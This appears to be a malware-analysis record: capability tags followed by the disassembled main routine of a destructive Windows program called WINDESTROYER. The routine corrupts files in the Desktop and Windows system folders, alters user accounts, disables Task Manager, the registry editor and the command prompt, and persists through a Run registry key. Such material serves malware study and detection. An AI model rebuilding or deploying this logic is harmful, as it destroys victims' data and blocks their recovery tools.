Function at 0x401917
Capabilities:
Copy file
Create process on windows
Create thread
Disable system features via registry on windows
Hide graphical window
List user accounts
Persist via run registry key
Query environment variable
Set registry value
Write and execute a file
Write file on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ebx
push ecx
sub esp, 0x7c0
call sym.___main
mov dword [esp], 0
call sym._time
mov dword [esp], eax
call sym._srand
mov eax, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call eax
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_ShowWindow]
call eax
sub esp, 8
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x13c]
mov dword [esp + 4], eax
mov dword [esp], str.WINDIR
mov eax, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call eax
sub esp, 0xc
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x240]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call eax
sub esp, 0xc
lea eax, [ebp - 0x13c]
mov dword [esp + 8], eax
mov dword [esp + 4], str._sWINDESTROYER.EXE
lea eax, [ebp - 0x344]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x344]
mov dword [esp], eax
call sym._FileExists
test eax, eax
jne 0x4020b9
mov dword [esp + 8], 0
lea eax, [ebp - 0x344]
mov dword [esp + 4], eax
lea eax, [ebp - 0x240]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CopyFileA]
call eax
sub esp, 0xc
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x790]
mov dword [esp + 4], eax
mov dword [esp], str.USERPROFILE
mov eax, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call eax
sub esp, 0xc
lea eax, [ebp - 0x790]
mov dword [esp + 8], eax
mov dword [esp + 4], str._sDesktop
lea eax, [ebp - 0x68c]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x68c]
mov dword [esp], eax
call sym._CorruptFilesInDirectory_4
sub esp, 4
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x348], 0
mov dword [ebp - 0x34c], 0
mov dword [ebp - 0x350], 0
mov dword [ebp - 0x354], 0
lea eax, [ebp - 0x354]
mov dword [esp + 0x1c], eax
lea eax, [ebp - 0x34c]
mov dword [esp + 0x18], eax
lea eax, [ebp - 0x348]
mov dword [esp + 0x14], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x350]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 2
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._NetUserEnum_32
sub esp, 0x20
mov dword [ebp - 0xc], 0
jmp 0x401b58
mov edx, dword [ebp - 0x350]
mov eax, dword [ebp - 0xc]
shl eax, 2
add eax, edx
mov eax, dword [eax]
mov dword [esp], eax
call sym._corruptUsername
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
je 0x401b54
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x370], eax
mov edx, dword [ebp - 0x350]
mov eax, dword [ebp - 0xc]
shl eax, 2
add eax, edx
mov eax, dword [eax]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x370]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._NetUserSetInfo_20
sub esp, 0x14
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sym._free
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x348]
cmp dword [ebp - 0xc], eax
jb 0x401ae2
mov eax, dword [ebp - 0x350]
test eax, eax
je 0x401b8c
mov eax, dword [ebp - 0x350]
mov dword [esp], eax
call sym._NetApiBufferFree_4
sub esp, 4
mov dword [ebp - 0x350], 0
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x588]
mov dword [esp + 4], eax
mov dword [esp], str.TEMP
mov eax, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call eax
sub esp, 0xc
lea eax, [ebp - 0x588]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_bg.bmp
lea eax, [ebp - 0x484]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 4], 0x4060fc
lea eax, [ebp - 0x484]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x7a
mov dword [esp + 4], 1
mov dword [esp], 0x405020
call sym._fwrite
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
call sym._fclose
lea eax, [ebp - 0x358]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], str.Control_PanelDesktop
mov dword [esp], 0x80000001
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
lea eax, [ebp - 0x484]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_lstrlenA]
call eax
sub esp, 4
add eax, 1
mov edx, eax
mov eax, dword [ebp - 0x358]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x484]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.Wallpaper
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
lea eax, [ebp - 0x484]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_lstrlenA]
call eax
sub esp, 4
add eax, 1
mov edx, eax
mov eax, dword [ebp - 0x358]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x484]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.ConvertedWallpaper
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
lea eax, [ebp - 0x484]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_lstrlenA]
call eax
sub esp, 4
add eax, 1
mov edx, eax
mov eax, dword [ebp - 0x358]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x484]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.OriginalWallpaper
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov dword [esp], 0x406144
mov eax, dword [sym.imp.KERNEL32.dll_lstrlenA]
call eax
sub esp, 4
add eax, 1
mov edx, eax
mov eax, dword [ebp - 0x358]
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], 0x406144
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.WallpaperStyle
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 1
mov dword [esp + 8], sym._CorruptMsgBox_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp], 0x7d0
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, dword [ebp - 0x358]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
mov dword [ebp - 0x35c], 1
mov dword [esp + 0x20], 0
lea eax, [ebp - 0x360]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov dword [esp], 0x80000001
mov eax, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call eax
sub esp, 0x24
lea eax, [ebp - 0x360]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov dword [esp], 0x80000001
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x360]
mov dword [esp + 0x14], 4
lea edx, [ebp - 0x35c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0
mov dword [esp + 4], str.DisableTaskMgr
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0x360]
mov dword [esp + 0x14], 4
lea edx, [ebp - 0x35c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0
mov dword [esp + 4], str.DisableRegistryTools
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0x360]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
mov dword [esp + 0x20], 0
lea eax, [ebp - 0x364]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREPoliciesMicrosoftWindows
mov dword [esp], 0x80000001
mov eax, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call eax
sub esp, 0x24
mov eax, dword [ebp - 0x364]
mov dword [esp + 0x20], 0
lea edx, [ebp - 0x368]
mov dword [esp + 0x1c], edx
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.System
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call eax
sub esp, 0x24
mov eax, dword [ebp - 0x368]
mov dword [esp + 0x14], 4
lea edx, [ebp - 0x35c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0
mov dword [esp + 4], str.DisableCMD
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
lea eax, [ebp - 0x36c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000002
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
lea eax, [ebp - 0x344]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_lstrlenA]
call eax
sub esp, 4
add eax, 1
mov edx, eax
mov eax, dword [ebp - 0x36c]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x344]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], 0x40621e
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov dword [esp], 0x12c
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov dword [esp + 4], 0
mov dword [esp], str.rundll32.exe_user32.dll_UpdatePerUserSystemParameters
mov eax, dword [sym.imp.KERNEL32.dll_WinExec]
call eax
sub esp, 8
mov dword [esp + 4], 0
mov dword [esp], str.WINDESTROYER.exe
mov eax, dword [sym.imp.KERNEL32.dll_WinExec]
call eax
sub esp, 8
mov eax, 0
jmp 0x402505
call sym._InitSinTable
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], str.C:Windows_
mov dword [esp + 8], sym._CorruptFilesInDirectory_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], str.C:WindowsWinSxS
mov dword [esp + 8], sym._CorruptFilesInDirectory_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], str.C:WindowsSystem32
mov dword [esp + 8], sym._CorruptFilesInDirectory_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], str.C:WindowsSystem32
mov eax, dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_GetDC]
call eax
sub esp, 4
mov dword [ebp - 0x1c], eax
mov eax, dword [sym.imp.USER32.dll_GetDesktopWindow]
call eax
lea edx, [ebp - 0x380]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_GetClientRect]
call eax
sub esp, 8
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x484], eax
mov eax, dword [ebp - 0x380]
mov dword [ebp - 0x480], eax
mov eax, dword [ebp - 0x37c]
mov dword [ebp - 0x47c], eax
mov eax, dword [ebp - 0x378]
mov dword [ebp - 0x478], eax
mov eax, dword [ebp - 0x374]
mov dword [ebp - 0x474], eax
mov dword [ebp - 0x470], 0x19
mov dword [ebp - 0x46c], 0
mov dword [ebp - 0x468], sym._Shader1_28
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x464], eax
mov eax, dword [ebp - 0x380]
mov dword [ebp - 0x460], eax
mov eax, dword [ebp - 0x37c]
mov dword [ebp - 0x45c], eax
mov eax, dword [ebp - 0x378]
mov dword [ebp - 0x458], eax
mov eax, dword [ebp - 0x374]
mov dword [ebp - 0x454], eax
mov dword [ebp - 0x450], 0xa
mov dword [ebp - 0x44c], 0
mov dword [ebp - 0x448], sym._Shader2_28
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x444], eax
mov eax, dword [ebp - 0x380]
mov dword [ebp - 0x440], eax
mov eax, dword [ebp - 0x37c]
mov dword [ebp - 0x43c], eax
mov eax, dword [ebp - 0x378]
mov dword [ebp - 0x438], eax
mov eax, dword [ebp - 0x374]
mov dword [ebp - 0x434], eax
mov dword [ebp - 0x430], 0x19
mov dword [ebp - 0x42c], 0
mov dword [ebp - 0x428], sym._Shader3_28
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x424], eax
mov eax, dword [ebp - 0x380]
mov dword [ebp - 0x420], eax
mov eax, dword [ebp - 0x37c]
mov dword [ebp - 0x41c], eax
mov eax, dword [ebp - 0x378]
mov dword [ebp - 0x418], eax
mov eax, dword [ebp - 0x374]
mov dword [ebp - 0x414], eax
mov dword [ebp - 0x410], 0x19
mov dword [ebp - 0x40c], 0
mov dword [ebp - 0x408], sym._Shader4_28
mov dword [ebp - 0x10], 0
jmp 0x40238a
mov dword [esp + 4], 0x7f01
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_LoadIconA]
call eax
sub esp, 8
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_DrawIcon]
call eax
sub esp, 0x10
mov dword [esp], 0xa
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
add dword [ebp - 0x10], 0x14
cmp dword [ebp - 0x10], 0x117
jle 0x40233a
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_GetSystemMetrics]
call eax
sub esp, 4
mov dword [ebp - 0x20], eax
mov dword [esp], 1
mov eax, dword [sym.imp.USER32.dll_GetSystemMetrics]
call eax
sub esp, 4
mov dword [ebp - 0x24], eax
mov dword [esp], 0
call sym._time
mov dword [esp], eax
call sym._srand
mov dword [esp + 4], 0x7f03
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_LoadIconA]
call eax
sub esp, 8
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x14], 0
jmp 0x4024f6
call sym._rand
mov ecx, eax
mov edx, 0x66666667
mov eax, ecx
imul edx
mov eax, edx
sar eax, 2
mov ebx, ecx
sar ebx, 0x1f
sub eax, ebx
mov edx, eax
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
sub ecx, eax
mov edx, ecx
cmp edx, 6
jg 0x4024a1
mov dword [ebp - 0x18], 0
jmp 0x402467
call sym._rand
cdq
idiv dword [ebp - 0x24]
mov ebx, edx
call sym._rand
cdq
idiv dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
mov dword [esp + 0xc], eax
mov dword [esp + 8], ebx
mov dword [esp + 4], edx
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_DrawIcon]
call eax
sub esp, 0x10
add dword [ebp - 0x18], 1
call sym._rand
mov ecx, eax
mov edx, 0x88888889
mov eax, ecx
imul edx
lea eax, [edx + ecx]
sar eax, 4
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x1e
mov eax, ecx
sub eax, edx
cmp dword [ebp - 0x18], eax
jl 0x402430
mov dword [esp], 0x32
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
call sym._rand
cdq
shr edx, 0x1e
add eax, edx
and eax, 3
sub eax, edx
mov edx, eax
lea eax, [ebp - 0x484]
shl edx, 5
add eax, edx
mov dword [esp], eax
call sym._ExecuteGdiShader_4
sub esp, 4
mov dword [esp + 0xc], 0x85
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_RedrawWindow]
call eax
sub esp, 0x10
add dword [ebp - 0x14], 1
cmp dword [ebp - 0x14], 0x22
jle 0x4023f7
mov eax, 0
lea esp, [ebp - 8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx - 4]
ret